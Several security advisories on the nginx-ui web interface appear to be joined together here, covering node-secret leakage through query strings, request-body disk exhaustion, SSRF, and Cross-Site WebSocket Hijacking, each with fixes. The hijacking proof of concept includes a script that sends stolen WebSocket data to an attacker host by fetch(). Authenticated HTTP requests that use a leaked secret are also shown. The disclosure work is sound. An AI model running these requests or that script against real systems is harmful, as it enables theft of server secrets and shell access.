http GET /api/settings HTTP/1.1 Host: target:9000 X-Node-Secret: a1b2c3d4-e5f6-7890-abcd-ef1234567890
Response: Full settings JSON including JwtSecret, NodeSecret, all nginx paths, and all configured credentials.
http GET /api/nginx/config?filepath=/etc/nginx/nginx.conf HTTP/1.1 Host: target:9000 X-Node-Secret: a1b2c3d4-e5f6-7890-abcd-ef1234567890
Response: Full nginx configuration including any embedded credentials.
Scenario B: Environment Variable Exposure in Docker/Kubernetes
Step 1 — Attacker reads a Kubernetes pod spec or Docker Compose file:
yaml environment: - NGINXUICLUSTERNODE=http://10.0.0.1:9000?name=node1&nodesecret=my-node-secret&enabled=true
Step 2 — Extract the secret from the URL query string.
Step 3 — Authenticate to the target node:
http POST /api/nginx/test HTTP/1.1 Host: 10.0.0.1:9000 X-Node-Secret: my-node-secret
The attacker now has full admin access to the cluster node.
Scenario C: Referer Header Leak to Third-Party
Step 1 — Admin navigates to a page with ?nodesecret= in the URL.
Step 2 — That page contains a resource (image, script, analytics) from a third-party domain.
Step 3 — Browser sends:
http GET /analytics.js HTTP/1.1 Host: analytics.third-party.com Referer: https://nginx-ui.internal/api/settings?nodesecret=a1b2c3d4-...
The third-party server receives the node secret in the Referer header.
---
5. Impact
- Confidentiality: Full read access to all nginx configurations, TLS private keys, ACME account credentials, database contents, and all settings stored in app.ini. - Integrity: Full write access to all nginx configurations across all cluster nodes. An attacker can deploy malicious nginx configs, disable TLS, or redirect traffic. - Availability: An attacker can reload or restart nginx with a broken configuration, causing a denial of service. - Persistence: The node secret does not expire and has no revocation mechanism. Once leaked, it provides permanent access until manually rotated. - Cluster-wide blast radius: A single leaked node secret from one cluster member's logs can be used to authenticate to any other node that shares the same secret.
---
6. Affected Versions
All versions of nginx-ui where getNodeSecret reads from c.Query("nodesecret"). Present in the current dev branch. The cluster URL format with embedded nodesecret has been present since v2.0.0-beta.23.
---
7. Recommended Fixes
Fix 1 (Primary) — Remove query parameter support for nodesecret:
go // internal/middleware/middleware.go func getNodeSecret(c gin.Context) (secret string) { // Only accept via header, never via query parameter return c.GetHeader("X-Node-Secret") }
Apply the same change to isTrustedNodeRequest in websocketorigin.go.
Fix 2 — Redesign cluster node configuration format:
The cluster node URL format must not embed secrets in query parameters. Use a separate configuration key:
ini [cluster] Node = http://10.0.0.1:9000?name=node1&enabled=true NodeKey1 = <secret-for-node1>
Or store secrets in a separate secrets file with restricted permissions.
Fix 3 — Encrypt node tokens at rest:
The nodes.token column in the SQLite database stores secrets in plaintext. Encrypt using the CryptoSettings.Secret key before storage.
Fix 4 — Add secret rotation support:
Provide an API endpoint to rotate the Node.Secret and invalidate all existing sessions authenticated via the old secret.
---
8. Timeline
| Date | Event | |---|---| | 2026-04-21 | Vulnerability identified via source code review | | — | Vendor notification (pending) | | — | CVE assignment (pending) |
Citations
File: internal/middleware/middleware.go (L73-80) go // getNodeSecret from header or query func getNodeSecret(c gin.Context) (secret string) { if secret = c.GetHeader("X-Node-Secret"); secret != "" { return secret }
return c.Query("nodesecret") }
File: internal/middleware/middleware.go (L96-103) go // Check node secret authentication if nodeSecret := getNodeSecret(c); nodeSecret != "" && nodeSecret == settings.NodeSettings.Secret { initUser := user.GetInitUser(c) c.Set("Secret", nodeSecret) c.Set("user", initUser) c.Next() return }
File: internal/middleware/middleware.go (L152-158) go if nodeSecret := getNodeSecret(c); nodeSecret != "" && nodeSecret == settings.NodeSettings.Secret { initUser := user.GetInitUser(c) c.Set("Secret", nodeSecret) c.Set("user", initUser) c.Next() return }
File: internal/middleware/websocketorigin.go (L39-46) go func isTrustedNodeRequest(r http.Request) bool { secret := strings.TrimSpace(r.Header.Get("X-Node-Secret")) if secret == "" { secret = strings.TrimSpace(r.URL.Query().Get("nodesecret")) }
return secret != "" && secret == settings.NodeSettings.Secret }
File: docs/guide/config-server.md (L109-111) markdown This secret is used to authenticate the communication between the Nginx UI servers. Also, you can use this secret to access the Nginx UI API without a password.
File: app.example.ini (L45-48) text [cluster] Node = http://10.0.0.1:9000?name=node1&nodesecret=my-node-secret&enabled=true Node = http://10.0.0.2:9000?name=node2&nodesecret=my-node-secret&enabled=true Node = http://10.0.0.3?name=node3&nodesecret=my-node-secret&enabled=true
File: internal/cluster/cluster.go (L55-73) go func parseNodeUrl(nodeUrl string) (node model.Node, err error) { u, err := url.Parse(nodeUrl) if err != nil { return } var sb strings.Builder sb.WriteString(u.Scheme) sb.WriteString("://") sb.WriteString(u.Host) sb.WriteString(u.Path)
node = &model.Node{ Name: u.Query().Get("name"), URL: sb.String(), Token: u.Query().Get("nodesecret"), Enabled: u.Query().Get("enabled") == "true", }
return
File: internal/kernel/boot.go (L132-144) go func InitNodeSecret() { if settings.NodeSettings.Secret == "" { logger.Info("Secret is empty, generating...") uuidStr := uuid.New().String() err := settings.Update(func() { settings.NodeSettings.Secret = uuidStr }) if err != nil { logger.Error("Error save settings", err) } logger.Info("Generated Secret: ", uuidStr) } }
Summary
In Nginx UI versions 2.5.0 through 2.5.x, the node-signature authentication path staged an attacker-controlled request body in a temporary file and synchronized it to disk before validating the body digest and cryptographic signature. An unauthenticated remote client that can reach the API can provide syntactically valid signature metadata and cause storage and I/O consumption before the request is rejected.
Impact
Concurrent malicious requests can consume temporary filesystem capacity, disk I/O, and request-processing resources, potentially disrupting Nginx UI and other services that share the filesystem. The issue affects availability only; it does not bypass authentication and does not provide confidentiality or integrity impact. Deployment-specific reverse-proxy body limits, filesystem quotas, and concurrency limits may reduce practical impact.
Remediation
Upgrade to Nginx UI 2.6.0 or later. The fix authenticates signed request metadata before staging the body and enforces an application-level streaming size limit with cleanup for rejected requests.
Fix commit: https://github.com/0xJacky/nginx-ui/commit/8c9b9a1aff218ee6c980d047b750e49da3c46796
Nginx UI is a web user interface for the Nginx web server. In 2.3.4 and earlier, an authenticated user can perform Server-Side Request Forgery (SSRF) by creating a cluster node pointing to an arbitrary internal URL and then sending API requests with the X-Node-ID header. The Proxy middleware forwards these requests to the attacker-specified internal address, bypassing network segmentation and enabling access to services bound to localhost or internal networks.
Summary
All WebSocket endpoints in nginx-ui use a gorilla/websocket Upgrader with CheckOrigin unconditionally returning true, allowing Cross-Site WebSocket Hijacking (CSWSH). Combined with the fact that authentication tokens are stored in browser cookies (set via JavaScript without HttpOnly or explicit SameSite attributes), a malicious webpage can establish authenticated WebSocket connections to the nginx-ui instance when a logged-in administrator visits the attacker-controlled page.
Details
Vulnerable Code Pattern
Every WebSocket endpoint in the codebase uses the same unsafe upgrader configuration:
go // Found in: api/terminal/pty.go, api/analytic/analytic.go, api/event/websocket.go, // api/nginxlog/websocket.go, api/upstream/upstream.go, api/cluster/websocket.go, // api/nginx/websocket.go, api/certificate/revoke.go, api/sites/websocket.go, // api/llm/llm.go, api/llm/codecompletion.go, api/system/upgrade.go var upgrader = websocket.Upgrader{ CheckOrigin: func(r http.Request) bool { return true // Accepts ALL origins }, }
Cookie-Based Authentication
The Vue.js frontend stores JWT tokens as cookies without security attributes (app/src/pinia/moudule/user.ts):
typescript watch(token, v => { cookies.set('token', v, { maxAge: 86400 }) // No HttpOnly, no SameSite })
The backend middleware accepts tokens from cookies (internal/middleware/middleware.go):
go func getToken(c gin.Context) (token string) { // ... if token, = c.Cookie("token"); token != "" { return token } return "" }
Affected Endpoints
All WebSocket endpoints under the authenticated router group are vulnerable:
| Endpoint | Impact | |---|---| | /api/nginx/detailstatus/ws | Leak nginx performance metrics and configuration | | /api/events | Leak system processing events | | /api/analytic/intro | Leak CPU, memory, disk, network statistics | | /api/nginxlog | Read nginx log files (access/error logs) | | /api/pty | Interactive terminal access (RCE if OTP not enabled) | | /api/upgrade/perform | Trigger system binary upgrade | | /api/cluster/nodes/enabled | Leak and manipulate cluster node data |
PoC
Environment Setup
yaml services: nginx-ui: image: uozi/nginx-ui:latest ports: - "9000:80" volumes: - nginx-ui-config:/etc/nginx-ui volumes: nginx-ui-config:
Attack Page (hosted on attacker-controlled domain)
html <script> // Attacker page at http://evil-attacker.com // Victim must be logged into nginx-ui const ws = new WebSocket('ws://TARGETNGINXUI:9000/api/nginx/detailstatus/ws'); ws.onopen = () => console.log('CSWSH: Connected from malicious origin!'); ws.onmessage = (e) => { console.log('Stolen data:', e.data); fetch('https://evil-attacker.com/collect', {method:'POST', body: e.data}); }; </script>
Automated PoC Results
[+] VULNERABLE! WebSocket connected from http://evil-attacker.com [+] Received: {"stubstatusenabled":false,"running":true,"info":{"active":0,...}}
[+] VULNERABLE! Event stream from http://evil-attacker.com [+] Received: {"event":"processingstatus","data":{"indexscanning":false,...}}
[+] VULNERABLE! Analytics from http://evil-attacker.com [+] Received: {"avgload":{"load1":0.1,"load5":0.2},"cpupercent":0.08,...}
[+] CRITICAL: Terminal connected from http://evil-attacker.com! [+] Terminal output: 'eae7a76e3ef4 login: ' [] Sent username: root [+] Output: 'Password: '
[+] Control test (no auth): Correctly rejected with HTTP 403
Impact
An attacker can create a malicious webpage that, when visited by an authenticated nginx-ui administrator, silently:
1. Steals sensitive server information -- nginx configuration, performance metrics, CPU/memory/disk usage, network traffic statistics, and system events 2. Reads nginx log files -- potentially containing sensitive request data, IP addresses, and authentication tokens 3. Gains interactive terminal access -- if the administrator has not enabled OTP/2FA, the attacker obtains a full PTY shell on the server, achieving Remote Code Execution 4. Triggers system operations -- including nginx reload/restart and binary upgrades
The attack requires no privileges and no knowledge of the victim's credentials. The only user interaction needed is visiting a webpage.
Remediation
1. Implement proper origin validation in all WebSocket upgraders:
go var upgrader = websocket.Upgrader{ CheckOrigin: func(r http.Request) bool { origin := r.Header.Get("Origin") return isAllowedOrigin(origin) }, }
2. Set secure cookie attributes: typescript cookies.set('token', v, { maxAge: 86400, sameSite: 'strict', secure: true })
3. Add CSRF token validation to WebSocket upgrade requests as defense-in-depth.
A patch is available at https://github.com/0xJacky/nginx-ui/releases/tag/v2.3.5